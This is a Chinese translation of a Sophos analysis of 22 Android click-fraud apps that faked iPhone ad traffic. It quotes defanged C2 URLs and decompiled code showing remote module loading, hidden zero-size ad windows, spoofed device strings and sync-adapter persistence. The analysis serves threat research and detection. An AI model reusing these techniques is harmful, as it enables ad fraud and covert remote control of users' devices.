除了粉丝们对不同移动平台的喜爱之外,Android和iOS系统设备之间同样存在着其他明显的差异性:苹果系统的广告商将为苹果手机和平板电脑的使用者支付更多的广告费用。自clickfraud
成为移动应用开发程序人员的主要收入来源以来,欺骗性的广告点击就成为恶意者获取利润的一种手段。
直到上个月SophosLabs公司偶然发现了22个移动应用程序的下载情况以来,clickfraud
已经在Google Play Market
上托管并下载超过200万次。值得我们震惊的事实不是欺诈app并没有消失,而是数月或数年没有引起安全部门的关注。这些Android应用程序伪装成苹果设备向广告商索取高额的回报。
在我们的调查研究中,我们发现其中三个应用程序可以追溯至一年前,其中一个(手电筒应用程序)至少下载了一百万次。大多数这些恶意应用程序是在2018年6月及之后创建的。在最初的时候,这三个应用程序并不是恶意的,但是在6月份左右,这些应用程序中的clickfraud代码中被添加了木马。
谷歌在11月25日采取行动并从Play Market中删除了应用程序。 之后,这些应用无法再从官方Google商店下载,但其C2架构仍然有效。 此事件中所提及的应用(在本文末尾列出)仍然可以通过欺骗广告网络向应用创建者提供诈骗资金。
与已知广告相关的恶意软件相比,这些应用程序中的一些恶意功能被不断的改进:与前几代相比,它们拥有更好地持久性、灵活性,并且更具欺骗性。
如果命令和控制服务器指示他们检索其他文件,那么应用程序还可以在游戏过程中运行,并且被赋予下载的功能。
命令和控制服务器发送指令并指示恶意软件发送广告请求,这些请求伪装成为各种型号的移动手机上的应用。我们观察到clickfraud工具似乎是随机向Android和iOS手机模型进行网络报告。
这些恶意代码调用并不会导致那些预期的、破坏性的广告出现,否则会引起使用设备用户的关注。相反,恶意广告的调用是隐藏在浏览器窗口中的,应用程序会模拟用户与广告的交互行为。
对于用户来说,这些恶意程序的唯一影响就是会以更快的速度消耗手机的电池电量。由于用户无法将电量消耗的情况与恶意程序相关联,所以这些应用的Play Market几乎没有显示负面评论。
恶意软件的灵活性是通过隐藏应用程序的真正来源而保证的,并以此来欺骗广告商。然而广告欺骗并不是用户所面临的唯一威胁。这些应用程序除了进行广告诈骗以外,还能够从C2服务器检索代码并下载程序。
此处显示的是Android调试器窗口,此时clickfraud代码正在广告商报告。而在Android虚拟设备中运行的应用与iPhone中运行的应用有所不同。
无论用户当前是否正在使用该应用,手机都会自动进行检索并“点击”此广告。由于存在这种恶意的功能,所以我们决定将这些文件归类为恶意文件。并将它们检测为Andr / Clickr-AD
。
我们检测到的Andr / Clickr-AD
应用程序在设计之初就考虑了应用的最大灵活性和可扩展性。一切功能都可以通过应用程序的C2服务器进行配置。下面让我们来看看恶意软件的运作方式。
当用户首次启动应用程序时,它会向c2服务器发送HTTP GET
请求。
http[://]sdk.mobbt.com/auth/sdk/login
服务器返回一个JSON格式的命令列表,它被称之为“sdk”。每个命令都包括下载“sdk”模块的URL、要调用的类和方法名称以及模块传递给方法所使用的参数。
以下是C2服务器的响应情况:
在此响应中,服务器告诉客户端下载并运行“rtb”或“mpb”模块。
对于每个模块,C2指定要下载URL的“libpath”字段,以及“sdk_data”字段中的类名、方法名和参数。 C2还控制应用程序以“exp”字段中所指定的时间间隔来更新指令。
在上面的示例中,应用程序等待10分钟(600秒)后再联系服务器以获取其sdk。
JSONArray v11_2 = v11_1.optJSONArray("sdk_data");
while(v2 < v11_2.length()) {
SDKData v1_1 = new SDKData();
JSONObject v3_1 = v11_2.optJSONObject(v2);
Object v4 = v3_1.keys().next();
JSONObject v5 = new JSONObject(v3_1.optString(((String)v4)));
String v3_2 = v5.optString("lp");
JSONObject v6 = v5.optJSONObject("start");
String v7 = v6.optString("method");
String v8 = v6.optString("class");
String v6_1 = v6.optString("parameters");
v1_1.setStartPair(Pair.create(v8, v7));
v5 = v5.optJSONObject("stop");
v1_1.setStopPair(Pair.create(v5.optString("class"), v5.optString("method")));
v1_1.setName(((String)v4));
v1_1.setLibpath(v3_2);
v1_1.setParameters(v6_1);
((List)v0_3).add(v1_1);
++v2;
}
this.updateSDKData(((List)v0_3));
服务器可以更新和更改sdk模块或添加新模块。 无论sdk模块包含哪些功能,客户端用来下载和运行程序的代码都相同。
private void invokeClass(Pair arg4) throws ReflectionException {
try {
this.invokeMethod(this.ctx, this.parameters, this.dexClassLoader.loadClass(arg4.first), arg4.second);
return;
}
catch(ClassNotFoundException v4) {
ThrowableExtension.printStackTrace(((Throwable)v4));
throw new ReflectionException("Classes Not Found");
}
}
名为“mpb”的模块会进行广告点击操作,并从C2服务器接收单独的指令。 为了获取主机相应的配置信息,它会向以下位置发送HTTP GET请求:
http[://]act.mobbt.com/actions/mb/view
此URL在上面的C2屏幕截图中显示的“parameters”:“fetch”
字段中指定。
服务器将以JSON结构的命令进行回复,该结构用于下载恶意广告代码的参数。 在下面的示例中,Android应用程序被告知不仅要使用iOS应用程序的名称,还要使用伪造手机的型号(以明显错误的User-Agent字符串的形式)。
接下来,恶意软件使用从C2服务器收到的虚假应用程序名称、设备模型和用户代理字符串来处理HTTP请求,并将请求发送到:
http[://]ads.mobbt.com/m/ad
通过上述步骤,恶意软件可以以任何应用和设备的名义发送广告请求。
在上图中,应用程序从C2服务器收到以下响应:
"ua":"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Mobile/15D100"
"model": "iPhone",
"make": "Apple",
"pkg":"com.takatrip.ios",
"app_name":"Takatrip"
之后,app应用预设新的参数并传递给:
http[://]ads.mobbt.com/m/ad
“mpb”sdk模块将创建一个零像素高和零宽的窗口,以隐藏下载的广告。
它从响应中检索链接,并使用此代码模拟点击操作。
v0.width = 0;
v0.height = 0;
this.containerView = new LinearLayout(this.ctx);
this.containerView.setLayoutParams(new RelativeLayout$LayoutParams(-1, -1));
this.containerView.setBackgroundColor(0);
this.containerView.addView(arg8);
if(this.windowManager == null) {
this.windowManager = this.ctx.getSystemService("window");
}
if(this.windowManager == null) {
return;
}
this.windowManager.addView(this.containerView, ((ViewGroup$LayoutParams)v0));
在我们的测试中,我们在“pkg”字段中能够观察到Android和iOS应用以及用户代理字符串的情况。
到目前为止,所有应用程序的开发人员只是少部分人。
这些开发者的广告收入正在持续增加。但是,此架构也可以为服务所用,以便为其他应用生成广告收入。
我们还通过iTunes Store找到了相同开发人员制作的应用程序。 目前,这些开发者发布的iOS应用程序与Android对应程序不同,例如缺乏Android对应程序中的广告点击功能等。
通过伪造HTTP请求中的用户代理和设备字段,应用生成的网络流量看起来像来自真实的设备。 它们看起来像是从真实用户的设备中发送的。 这样做的目的是为了减少用户的怀疑以及减少被检测器检测到的可能性。
到目前为止,我们所观察到服务器伪造数据表明欺诈性广告来自iPhone 5至8 Plus的Apple手机产品,以及来自33个不同品牌的249种不同的Android型号手机。据称Android OS版本 从4.4.2到7.x.来看,上述型号涵盖了市场上大多数流行的移动设备。
恶意软件会以C2服务器指定的间隔时间进行自行调度运行。在我们的测试中,他以相当高的频率--每10分钟检查一次新的sdk运行,并且每80秒获取一次广告配置数据。
应用程序使用BOOT_COMPLETED
广播功能在手机重新启动后启动。
Andr / Clickr-ad
的作者做了一些研究来使应用程序持久化。使用户强制从系统设置停止应用程序,该应用程序仍将在3分钟后自行恢复。
在AndroidManifest.xml
文件中,它声明了一个同步适配器和一个与其相绑定服务:
<service android:exported="true" android:name="com.octopus.managersdk.sync_adapter.SyncService">
<intent-filter>
<action android:name="android.content.SyncAdapter" />
</intent-filter>
<meta-data android:name="android.content.SyncAdapter" android:resource="@xml/manager_syncadapter" />
</service>
它将同步适配器设置为定期运行。
long v4 = SyncUtils.prefs.getSyncPeriodicFrequency();
Log.d("SyncUtils", "init frequency: " + String.valueOf(v4));
v2_1.putBoolean("syncIdentifier:" + SyncUtils.mAccountName, true);
ContentResolver.addPeriodicSync(v1_2, SyncUtils.mContentAuthority, v2_1, v4);
之后应用会从服务器接收恢复应用程序的间隔。 在我们所分析的例子中,间隔被设定为3分钟。
if(v11_1.has("sync")) {
v0_1 = v11_1.optLong("sync");
if(this.preferences.getSyncPeriodicFrequency() != v0_1) {
this.preferences.setSyncPeriodFrequency(v0_1);
Utils.updateSyncFrequency(this.context, v0_1);
}
}
如果应用尚未被启动,那么app会从“sync:180”参数中读取时间,并每三分钟启动一次。
在上面分析的22个应用程序中有19个是在2018年6月之后创建的。自第一个版本以来,大多数应用程序都包含“sdk”下载功能。
三个旧应用程序com.sparkle.flashlight
,app.mobile.justflashlight
和com.takatrip.android
是在2016年和2017年创建的。而早期版本是没有安全问题的。
具有sdk下载功能的早版本于2018年3月被发现。这表明开发这些应用程序的作者能够决定具体的攻击时间。然而我们无法分辨出具体的服务器响应。 但是,通过分析March版本的下载代码我们发现,开发者似乎只使用了“rtb
”sdk模块。
2018年6月的版本与目前的版本更为接近。名为mpb.jar
的空文件开始包含在assets
文件夹中。 很可能“mpb”sdk
模块从那时开始具有了恶意性。
Andr / Clickr-ad
是一种具有良好的组织性、持久性恶意软件。其有可能对用户的整个Android生态系统造成严重伤害。这些应用会产生欺诈性请求,导致广告网络因虚假点击而产生大量非法收入。
从用户的角度来看,由于应用程序在后台不断运行并与服务器通信,所以这些应用程序耗尽了手机的电量,并可能导致数据过剩的情况出现。此外,设备完全由C2服务器控制,并且可以根据服务器的指令在用户手机中安装恶意模块。
本文为翻译稿件,原文为:https://news.sophos.com/en-us/2018/12/06/android-clickfraud-fake-iphone/